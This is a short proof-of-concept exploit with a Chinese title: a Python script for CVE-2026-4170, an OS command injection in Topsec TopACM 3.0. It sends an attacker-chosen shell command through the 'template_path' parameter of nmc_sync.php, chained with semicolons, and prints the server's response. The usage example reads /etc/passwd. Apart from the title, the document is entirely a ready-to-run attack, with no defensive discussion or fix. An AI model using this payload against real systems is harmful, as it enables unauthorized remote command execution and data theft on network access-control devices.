CVE-2026-4170 天融信TopACM 3.0 命令注入漏洞

import requests import sys # CVE-2026-4170 PoC - Topsec TopACM 3.0 OS Command Injection # Target: /view/systemConfig/management/nmc_sync.php # Vulnerability: template_path parameter allows OS command injection def exploit(target_url, command): """ Exploit OS command injection in Topsec TopACM 3.0 Args: target_url: Base URL of the vulnerable application command: OS command to execute """ endpoint = f"{target_url}/view/systemConfig/management/nmc_sync.php" # Payload construction using command chaining # Using semicolon to chain commands payload = { 'template_path': f';{command};#' } try: response = requests.post(endpoint, data=payload, timeout=10) print(f"[*] Request sent to {endpoint}") print(f"[*] Status Code: {response.status_code}") print(f"[*] Response:\n{response.text}") except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") def main(): if len(sys.argv) < 3: print("Usage: python cve-2026-4170.py <target_url> <command>") print("Example: python cve-2026-4170.py http://target.com 'cat /etc/passwd'") sys.exit(1) target = sys.argv[1] cmd = sys.argv[2] exploit(target, cmd) if __name__ == "__main__": main()